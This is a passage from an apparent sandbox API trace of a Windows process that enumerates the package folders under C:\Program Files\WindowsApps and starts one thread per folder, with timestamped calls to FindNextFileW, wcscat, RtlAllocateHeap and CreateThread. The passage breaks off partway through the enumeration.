	[0077.924] wcscat (in: _Dest=0x2ddbaf8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0077.924] wcscat (in: _Dest=0x2ddbaf8, _Source="Microsoft.MSPaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MSPaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MSPaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe"
	[0077.924] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2ddbaf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x418
	[0077.924] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa17daefc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xcd2853a0, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xcd2853a0, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI21E8~1.0_X")) returned 1
	[0077.924] wcscmp (_String1="Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0077.925] wcscmp (_String1="Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0077.925] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa2) returned 0x2d612c0
	[0077.925] wcscpy (in: _Dest=0x2d612c0, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0077.925] wcscat (in: _Dest=0x2d612c0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0077.925] wcscat (in: _Dest=0x2d612c0, _Source="Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe"
	[0077.925] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d612c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x414
	[0077.925] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb21852be, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xae4c23b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x69869570, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI052E~1.0_X")) returned 1
	[0077.925] wcscmp (_String1="Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0077.925] wcscmp (_String1="Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0077.925] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x476bfc8
	[0077.925] wcscpy (in: _Dest=0x476bfc8, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0077.925] wcscat (in: _Dest=0x476bfc8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0077.926] wcscat (in: _Dest=0x476bfc8, _Source="Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe"
	[0077.926] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476bfc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x360
	[0077.926] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb23e79d9, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xae58079f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x69b6448c, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe", cAlternateFileName="MI3AF7~1.0_X")) returned 1
	[0077.926] wcscmp (_String1="Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe", _String2=".") returned 1
	[0077.926] wcscmp (_String1="Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe", _String2="..") returned 1
	[0077.926] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x476bca8
	[0077.926] wcscpy (in: _Dest=0x476bca8, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0077.926] wcscat (in: _Dest=0x476bca8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0077.926] wcscat (in: _Dest=0x476bca8, _Source="Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe"
	[0077.927] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476bca8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x35c
	[0077.927] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4f97eba2, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xae61172a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5c39f778, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI4ACC~1.0_X")) returned 1
	[0077.927] wcscmp (_String1="Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0077.927] wcscmp (_String1="Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0077.927] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x476cdd8
	[0077.927] wcscpy (in: _Dest=0x476cdd8, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0077.927] wcscat (in: _Dest=0x476cdd8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0077.927] wcscat (in: _Dest=0x476cdd8, _Source="Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe"
	[0077.927] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476cdd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x408
	[0077.928] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4fbe1144, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xae652687, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5be1c081, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe", cAlternateFileName="MI0106~1.0_X")) returned 1
	[0077.928] wcscmp (_String1="Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe", _String2=".") returned 1
	[0077.928] wcscmp (_String1="Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe", _String2="..") returned 1
	[0077.928] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x476bd70
	[0077.928] wcscpy (in: _Dest=0x476bd70, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0077.928] wcscat (in: _Dest=0x476bd70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0077.928] wcscat (in: _Dest=0x476bd70, _Source="Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe"
	[0077.928] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476bd70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x348
	[0077.929] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x569db5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb046ec20, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb046ec20, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI04D1~1.0_X")) returned 1
	[0077.929] wcscmp (_String1="Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0077.929] wcscmp (_String1="Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0077.929] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x476cea0
	[0077.929] wcscpy (in: _Dest=0x476cea0, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0077.929] wcscat (in: _Dest=0x476cea0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0077.929] wcscat (in: _Dest=0x476cea0, _Source="Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe"
	[0077.929] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476cea0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x364
	[0077.930] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf855c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaf7c444d, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xaf7c444d, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe", cAlternateFileName="MIF51B~1.0_X")) returned 1
	[0077.930] wcscmp (_String1="Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe", _String2=".") returned 1
	[0077.930] wcscmp (_String1="Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe", _String2="..") returned 1
	[0077.930] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x476cc48
	[0077.930] wcscpy (in: _Dest=0x476cc48, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0077.930] wcscat (in: _Dest=0x476cc48, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0077.930] wcscat (in: _Dest=0x476cc48, _Source="Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe"
	[0077.930] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476cc48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x354
	[0077.931] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x115e8dfa, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xae7e244c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x12f3e2a7, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI67F0~1.0_X")) returned 1
	[0077.931] wcscmp (_String1="Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0077.931] wcscmp (_String1="Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0077.931] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x476b988
	[0077.931] wcscpy (in: _Dest=0x476b988, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0077.931] wcscat (in: _Dest=0x476b988, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0077.931] wcscat (in: _Dest=0x476b988, _Source="Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe"
	[0077.932] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476b988, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x378
	[0077.932] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x13f7c62e, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xae87e1ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x164e3d2d, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe", cAlternateFileName="MI2C2E~1.0_X")) returned 1
	[0077.932] wcscmp (_String1="Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe", _String2=".") returned 1
	[0077.932] wcscmp (_String1="Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe", _String2="..") returned 1
	[0077.932] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x476b7f8
	[0077.932] wcscpy (in: _Dest=0x476b7f8, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0077.932] wcscat (in: _Dest=0x476b7f8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0077.932] wcscat (in: _Dest=0x476b7f8, _Source="Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe"
	[0077.933] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476b7f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x37c
	[0077.933] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb26701cd, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xae8ff986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x69da07d7, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe", cAlternateFileName="MIEBDA~1.0_X")) returned 1
	[0077.933] wcscmp (_String1="Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0077.933] wcscmp (_String1="Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0077.933] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x476cd10
	[0077.933] wcscpy (in: _Dest=0x476cd10, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0077.933] wcscat (in: _Dest=0x476cd10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0077.933] wcscat (in: _Dest=0x476cd10, _Source="Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe"
	[0077.933] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476cd10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x388
	[0077.934] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb26e2784, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xae9b674b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x69fb68e3, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe", cAlternateFileName="MIA018~1.0_X")) returned 1
	[0077.934] wcscmp (_String1="Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe", _String2=".") returned 1
	[0077.934] wcscmp (_String1="Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe", _String2="..") returned 1
	[0077.934] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x476c2e8
	[0077.934] wcscpy (in: _Dest=0x476c2e8, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0077.934] wcscat (in: _Dest=0x476c2e8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0077.934] wcscat (in: _Dest=0x476c2e8, _Source="Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe"
	[0077.934] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476c2e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x390
	[0077.935] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ff4e801, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaea38daa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5c77f49b, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI7399~1.0_X")) returned 1
	[0077.935] wcscmp (_String1="Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0077.935] wcscmp (_String1="Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0077.935] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x476c090
	[0077.935] wcscpy (in: _Dest=0x476c090, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0077.935] wcscat (in: _Dest=0x476c090, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0077.935] wcscat (in: _Dest=0x476c090, _Source="Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe"
	[0077.935] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476c090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a4
	[0077.936] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ffc0fdc, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaeaf585c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5c58f618, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe", cAlternateFileName="MI38C6~1.0_X")) returned 1
	[0077.936] wcscmp (_String1="Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe", _String2=".") returned 1
	[0077.936] wcscmp (_String1="Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe", _String2="..") returned 1
	[0077.936] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x476c540
	[0077.936] wcscpy (in: _Dest=0x476c540, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0077.936] wcscat (in: _Dest=0x476c540, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0077.936] wcscat (in: _Dest=0x476c540, _Source="Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe"
	[0077.936] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476c540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a8
	[0077.937] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1096e68, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xae30dca7, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xae30dca7, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI7D40~1.0_X")) returned 1
	[0078.086] wcscmp (_String1="Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0078.086] wcscmp (_String1="Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0078.086] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x476c798
